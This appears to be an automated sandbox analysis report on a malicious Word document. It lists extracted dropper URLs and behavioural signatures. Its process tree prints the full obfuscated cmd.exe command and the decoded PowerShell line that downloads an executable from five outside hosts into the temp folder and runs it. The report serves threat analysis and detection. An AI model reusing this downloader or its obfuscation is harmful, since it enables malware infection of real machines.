Analysis
- max time kernel
137s - max time network
126s - platform
windows10-2004_x64 - resource
win10v2004-20240419-en - resource tags
- submitted
02/05/2024, 10:09
General
- Target 0e348a1d6807019c91f8bdcdf80a8ba1_JaffaCakes118.doc
- Size 151KB
- Sample240502-l64dsagf98
- SHA256 f821daf10a39bf4f594fed4ef8f282b1ad1063699ee34599c40bfea24a4574da
Malware Config
Extracted
-
ps1
-
exe.dropper
http://beyondthewords.co.uk/KnfWS
-
exe.dropper
http://amplua-salon.info/EjE
-
exe.dropper
http://azovelektro.com/t2gFo
-
exe.dropper
http://backstage-secrets.com/pVcs6qd
-
exe.dropper
http://tatim.com.br/KCcsO
Signatures
- Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
- Blocklisted process makes network request 7 IoCs
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Start PowerShell.
- Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
- Enumerates system info in registry 2 TTPs 3 IoCs
- Suspicious behavior: AddClipboardFormatListener 2 IoCs
- Suspicious behavior: EnumeratesProcesses 2 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
- Suspicious use of SetWindowsHookEx 7 IoCs
- Suspicious use of WriteProcessMemory 6 IoCs
Processes
-
C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\0e348a1d6807019c91f8bdcdf80a8ba1_JaffaCakes118.doc" /o ""1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Windows\SYSTEM32\Cmd.exeCmd rloZjwNcFaHs fbLHaTSSiEtmkqEUszCWYOr lvimSrhXTv & %comSpEc% /c CMd /c " SET lf7W=k& set a5=.co&& sET STF=E@ht&& sET uYfj=o& SeT ut=/&& seT WiR3=w & sET aH=ge-s& Set sedw=htt&& SET X5wd=';$&&set cVo3=l&& seT Vo=/& Set Aeh=a&& seT evtu=@&&Set zqVt=ttp:/& sEt 0n=t&& sET gHG='.&& seT cF= $&& SET tx=w& seT VPF=co&& sEt UZH=l& sET qeC=al&&Set tm=nload& Set ycTx='842&& sET VyU8=$& SET 7Xv=p& Set qrg=ess &SEt s9KL=a& Set XNn9=ew-& sEt lRx=e&sEt AHDy=C&& SEt rTzs=o&SEt xa3P=h{&&sET SK=@&& seT la=o&&set rhxz=/&set zyF=);St&& SEt 24dQ=re& SEt vd=b& sEt zdYD=be& SEt rG=cs6qd@h&& SEt EPd=E& sEt P0=('&& Set tVah=.br&SeT eml={$&& set 2L1b==&& set TvDg=}c&& SEt Cx5=ers& sEt W5Nf=.&& seT Pb=ch&& SET T0N=Sp& set Cn=e&& SET uo=sO& sET YT=+$O& SeT SDno=k& Set JB3g=+& sET Qp=i&& sET jOAD=T,& SEt eH=');$&& SEt TGCI=e&&SET QMqV= && sEt 7U=t& set GqAU=e& seT sv=+'\'& seT gSV=g&& SeT 1Vz= && seT 6E9=nfW& SEt lI9=w& SeT uZ=p:&& SeT cVe=i& SeT Uaj7=mp& Set 2mF=/ta&& set 1rf=L&& sET z91U=p&& Set hTo=e($f&& seT 1r=nf&& SET WLwZ=i&& sEt Yg=:&& SeT j7V=N& SET pt=y& sET Z9hE=/p&set PLgD=F&& SEt SzE=Sqr& sEt sLwx=l&& seT UreO=n.i& sET VSP=r&& SET Vn=j&&Set zoi= && sET Ltyx=D&& SEt 1V6b=wor&& sET Wta=a;b& SET YNe=c& Set cEmI=o& seT V56=m&&SEt 39=e& SEt Wq7c=t&&sET QW=p&SEt PI= & Set HUDk=2& seT 7o=.u&SEt AZu=t&& SEt UP=qr.&& set 1W=Proc& sEt vM=ea&& sET EoPk=v&& SET ge=K&sET 1P=he&& SEt W5=/a&Set upAD=:& SeT Z5ha=$Vt& SeT YMvN=ak;&& seT RL= & SEt JHyl= &&set aUO=t&set 0RN=or& sEt coY=c& SeT pCS=i& sEt ZXTu= && SET toZ=n&& SeT hy=w&& set hP=y&&SeT W1B=e&&SET Ya=o&& Set gGh=s&& Set 3VL=S& seT PDW=backs&Set rn=S&& SeT sOmw=tt&& SET uc=velek&& SeT H1J=xe';f&& SeT QA=t& Set Sb=r& SEt twY=T && sEt 2uUl=lie& set 0Mm=htt& set 2cE8=a&& SEt ZN= && sEt 1A=ua&seT Ji=V& SEt XP=o&Set cUBK=p://am& seT pZnu=l& SEt xD0=Net.Web&& SET pG=nt;$& seT prkA=ct& SET GsJ=}} & Set Ce=p&& seT T0=n&&Set JD=:/& SET zxw=rt-&&SeT xVRc=/&seT YJ=j&& sEt PgrV=ro& sEt xg= & SEt pM=/& sEt JV8S=o@h& Set 5V=l& seT ul2w=F&& set Yp=OL& SEt cY=m.& sEt ZkL=kNa=$en&& SeT yn=z&sET 2nR==& sET SCbu=kN&& seT z9=m&& set 3UE='& SET LuMY=($ft& Set v9=ondth& set 6JA=/& SeT v6=s.com& SEt 21C=ta& Set 8g=tc& seT Xqkz=o& sEt JGn=t&SeT JM=t& SeT AJq=i){&& seT Z0=Vti=& sEt 2usl=-&& Set yY= $&&sET cg='&& SEt A5K7=t& seT aB=KCc&& Set Ui=//& Set Lcm=ds.&& cALl seT 3SL7=%QW%%uYfj%%lI9%%Cx5%%1P%%UZH%%cVo3%%yY%%SzE%%2L1b%%T0%%XNn9%%Xqkz%%vd%%Vn%%TGCI%%prkA%%zoi%%xD0%%AHDy%%2uUl%%pG%%Z0%%3UE%%sedw%%7Xv%%JD%%xVRc%%zdYD%%hP%%v9%%Cn%%1V6b%%Lcm%%VPF%%7o%%lf7W%%Vo%%ge%%6E9%%rn%%evtu%%0Mm%%cUBK%%z91U%%pZnu%%1A%%2usl%%gGh%%qeC%%cEmI%%UreO%%1r%%Ya%%pM%%EPd%%YJ%%STF%%JM%%uZ%%ut%%W5%%yn%%XP%%uc%%0n%%PgrV%%a5%%V56%%rhxz%%JGn%%HUDk%%gSV%%PLgD%%JV8S%%sOmw%%Ce%%upAD%%Ui%%PDW%%21C%%aH%%39%%coY%%24dQ%%aUO%%v6%%Z9hE%%Ji%%rG%%zqVt%%2mF%%AZu%%cVe%%cY%%YNe%%rTzs%%z9%%tVah%%6JA%%aB%%uo%%gHG%%T0N%%sLwx%%Qp%%A5K7%%P0%%SK%%eH%%Yp%%WiR3%%2nR%%QMqV%%ycTx%%X5wd%%ZkL%%EoPk%%Yg%%QA%%lRx%%Uaj7%%sv%%YT%%1rf%%tx%%JB3g%%cg%%W5Nf%%GqAU%%H1J%%0RN%%vM%%Pb%%LuMY%%twY%%pCS%%toZ%%ZXTu%%Z5ha%%AJq%%7U%%VSP%%pt%%eml%%3VL%%UP%%Ltyx%%la%%hy%%tm%%ul2w%%WLwZ%%5V%%hTo%%Wq7c%%jOAD%%cF%%SCbu%%2cE8%%zyF%%Aeh%%zxw%%1W%%qrg%%VyU8%%SDno%%j7V%%Wta%%Sb%%W1B%%YMvN%%TvDg%%s9KL%%8g%%xa3P%%GsJ%%xg%%JHyl%%PI%%1Vz%%ZN%%RL%&&CaLl %3SL7% "2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exeCMd /c " SET lf7W=k& set a5=.co&& sET STF=E@ht&& sET uYfj=o& SeT ut=/&& seT WiR3=w & sET aH=ge-s& Set sedw=htt&& SET X5wd=';$&&set cVo3=l&& seT Vo=/& Set Aeh=a&& seT evtu=@&&Set zqVt=ttp:/& sEt 0n=t&& sET gHG='.&& seT cF= $&& SET tx=w& seT VPF=co&& sEt UZH=l& sET qeC=al&&Set tm=nload& Set ycTx='842&& sET VyU8=$& SET 7Xv=p& Set qrg=ess &SEt s9KL=a& Set XNn9=ew-& sEt lRx=e&sEt AHDy=C&& SEt rTzs=o&SEt xa3P=h{&&sET SK=@&& seT la=o&&set rhxz=/&set zyF=);St&& SEt 24dQ=re& SEt vd=b& sEt zdYD=be& SEt rG=cs6qd@h&& SEt EPd=E& sEt P0=('&& Set tVah=.br&SeT eml={$&& set 2L1b==&& set TvDg=}c&& SEt Cx5=ers& sEt W5Nf=.&& seT Pb=ch&& SET T0N=Sp& set Cn=e&& SET uo=sO& sET YT=+$O& SeT SDno=k& Set JB3g=+& sET Qp=i&& sET jOAD=T,& SEt eH=');$&& SEt TGCI=e&&SET QMqV= && sEt 7U=t& set GqAU=e& seT sv=+'\'& seT gSV=g&& SeT 1Vz= && seT 6E9=nfW& SEt lI9=w& SeT uZ=p:&& SeT cVe=i& SeT Uaj7=mp& Set 2mF=/ta&& set 1rf=L&& sET z91U=p&& Set hTo=e($f&& seT 1r=nf&& SET WLwZ=i&& sEt Yg=:&& SeT j7V=N& SET pt=y& sET Z9hE=/p&set PLgD=F&& SEt SzE=Sqr& sEt sLwx=l&& seT UreO=n.i& sET VSP=r&& SET Vn=j&&Set zoi= && sET Ltyx=D&& SEt 1V6b=wor&& sET Wta=a;b& SET YNe=c& Set cEmI=o& seT V56=m&&SEt 39=e& SEt Wq7c=t&&sET QW=p&SEt PI= & Set HUDk=2& seT 7o=.u&SEt AZu=t&& SEt UP=qr.&& set 1W=Proc& sEt vM=ea&& sET EoPk=v&& SET ge=K&sET 1P=he&& SEt W5=/a&Set upAD=:& SeT Z5ha=$Vt& SeT YMvN=ak;&& seT RL= & SEt JHyl= &&set aUO=t&set 0RN=or& sEt coY=c& SeT pCS=i& sEt ZXTu= && SET toZ=n&& SeT hy=w&& set hP=y&&SeT W1B=e&&SET Ya=o&& Set gGh=s&& Set 3VL=S& seT PDW=backs&Set rn=S&& SeT sOmw=tt&& SET uc=velek&& SeT H1J=xe';f&& SeT QA=t& Set Sb=r& SEt twY=T && sEt 2uUl=lie& set 0Mm=htt& set 2cE8=a&& SEt ZN= && sEt 1A=ua&seT Ji=V& SEt XP=o&Set cUBK=p://am& seT pZnu=l& SEt xD0=Net.Web&& SET pG=nt;$& seT prkA=ct& SET GsJ=}} & Set Ce=p&& seT T0=n&&Set JD=:/& SET zxw=rt-&&SeT xVRc=/&seT YJ=j&& sEt PgrV=ro& sEt xg= & SEt pM=/& sEt JV8S=o@h& Set 5V=l& seT ul2w=F&& set Yp=OL& SEt cY=m.& sEt ZkL=kNa=$en&& SeT yn=z&sET 2nR==& sET SCbu=kN&& seT z9=m&& set 3UE='& SET LuMY=($ft& Set v9=ondth& set 6JA=/& SeT v6=s.com& SEt 21C=ta& Set 8g=tc& seT Xqkz=o& sEt JGn=t&SeT JM=t& SeT AJq=i){&& seT Z0=Vti=& sEt 2usl=-&& Set yY= $&&sET cg='&& SEt A5K7=t& seT aB=KCc&& Set Ui=//& Set Lcm=ds.&& cALl seT 3SL7=%QW%%uYfj%%lI9%%Cx5%%1P%%UZH%%cVo3%%yY%%SzE%%2L1b%%T0%%XNn9%%Xqkz%%vd%%Vn%%TGCI%%prkA%%zoi%%xD0%%AHDy%%2uUl%%pG%%Z0%%3UE%%sedw%%7Xv%%JD%%xVRc%%zdYD%%hP%%v9%%Cn%%1V6b%%Lcm%%VPF%%7o%%lf7W%%Vo%%ge%%6E9%%rn%%evtu%%0Mm%%cUBK%%z91U%%pZnu%%1A%%2usl%%gGh%%qeC%%cEmI%%UreO%%1r%%Ya%%pM%%EPd%%YJ%%STF%%JM%%uZ%%ut%%W5%%yn%%XP%%uc%%0n%%PgrV%%a5%%V56%%rhxz%%JGn%%HUDk%%gSV%%PLgD%%JV8S%%sOmw%%Ce%%upAD%%Ui%%PDW%%21C%%aH%%39%%coY%%24dQ%%aUO%%v6%%Z9hE%%Ji%%rG%%zqVt%%2mF%%AZu%%cVe%%cY%%YNe%%rTzs%%z9%%tVah%%6JA%%aB%%uo%%gHG%%T0N%%sLwx%%Qp%%A5K7%%P0%%SK%%eH%%Yp%%WiR3%%2nR%%QMqV%%ycTx%%X5wd%%ZkL%%EoPk%%Yg%%QA%%lRx%%Uaj7%%sv%%YT%%1rf%%tx%%JB3g%%cg%%W5Nf%%GqAU%%H1J%%0RN%%vM%%Pb%%LuMY%%twY%%pCS%%toZ%%ZXTu%%Z5ha%%AJq%%7U%%VSP%%pt%%eml%%3VL%%UP%%Ltyx%%la%%hy%%tm%%ul2w%%WLwZ%%5V%%hTo%%Wq7c%%jOAD%%cF%%SCbu%%2cE8%%zyF%%Aeh%%zxw%%1W%%qrg%%VyU8%%SDno%%j7V%%Wta%%Sb%%W1B%%YMvN%%TvDg%%s9KL%%8g%%xa3P%%GsJ%%xg%%JHyl%%PI%%1Vz%%ZN%%RL%&&CaLl %3SL7% "3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell $Sqr=new-object Net.WebClient;$Vti='http://beyondthewords.co.uk/KnfWS@http://amplua-salon.info/EjE@http://azovelektro.com/t2gFo@http://backstage-secrets.com/pVcs6qd@http://tatim.com.br/KCcsO'.Split('@');$OLw = '842';$kNa=$env:temp+'\'+$OLw+'.exe';foreach($ftT in $Vti){try{$Sqr.DownloadFile($ftT, $kNa);Start-Process $kNa;break;}catch{}}4⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
842.exe
sist02.xsl
__PSScriptPolicyTest_sbuk44op.3e3.ps1
memory/3232-20-0x00007FF8385B0000-0x00007FF8387A5000-memory.dmp
memory/3232-17-0x00007FF8385B0000-0x00007FF8387A5000-memory.dmp
memory/3232-4-0x00007FF7F8630000-0x00007FF7F8640000-memory.dmp
memory/3232-10-0x00007FF8385B0000-0x00007FF8387A5000-memory.dmp
memory/3232-9-0x00007FF8385B0000-0x00007FF8387A5000-memory.dmp
memory/3232-8-0x00007FF8385B0000-0x00007FF8387A5000-memory.dmp
memory/3232-7-0x00007FF8385B0000-0x00007FF8387A5000-memory.dmp
memory/3232-11-0x00007FF8385B0000-0x00007FF8387A5000-memory.dmp
memory/3232-18-0x00007FF8385B0000-0x00007FF8387A5000-memory.dmp
memory/3232-6-0x00007FF8385B0000-0x00007FF8387A5000-memory.dmp
memory/3232-13-0x00007FF7F65D0000-0x00007FF7F65E0000-memory.dmp
memory/3232-14-0x00007FF8385B0000-0x00007FF8387A5000-memory.dmp
memory/3232-15-0x00007FF8385B0000-0x00007FF8387A5000-memory.dmp
memory/3232-1-0x00007FF7F8630000-0x00007FF7F8640000-memory.dmp
memory/3232-5-0x00007FF83864D000-0x00007FF83864E000-memory.dmp
memory/3232-21-0x00007FF8385B0000-0x00007FF8387A5000-memory.dmp
memory/3232-12-0x00007FF7F65D0000-0x00007FF7F65E0000-memory.dmp
memory/3232-19-0x00007FF8385B0000-0x00007FF8387A5000-memory.dmp
memory/3232-16-0x00007FF8385B0000-0x00007FF8387A5000-memory.dmp
memory/3232-59-0x00007FF8385B0000-0x00007FF8387A5000-memory.dmp
memory/3232-60-0x00007FF8385B0000-0x00007FF8387A5000-memory.dmp
memory/3232-601-0x00007FF8385B0000-0x00007FF8387A5000-memory.dmp
memory/3232-0-0x00007FF7F8630000-0x00007FF7F8640000-memory.dmp
memory/3232-2-0x00007FF7F8630000-0x00007FF7F8640000-memory.dmp
memory/3232-3-0x00007FF7F8630000-0x00007FF7F8640000-memory.dmp
memory/3232-576-0x00007FF8385B0000-0x00007FF8387A5000-memory.dmp
memory/3232-577-0x00007FF8385B0000-0x00007FF8387A5000-memory.dmp
memory/3232-598-0x00007FF7F8630000-0x00007FF7F8640000-memory.dmp
memory/3232-599-0x00007FF7F8630000-0x00007FF7F8640000-memory.dmp
memory/3232-600-0x00007FF7F8630000-0x00007FF7F8640000-memory.dmp
memory/3232-597-0x00007FF7F8630000-0x00007FF7F8640000-memory.dmp
memory/3912-63-0x000001EAF8910000-0x000001EAF8932000-memory.dmp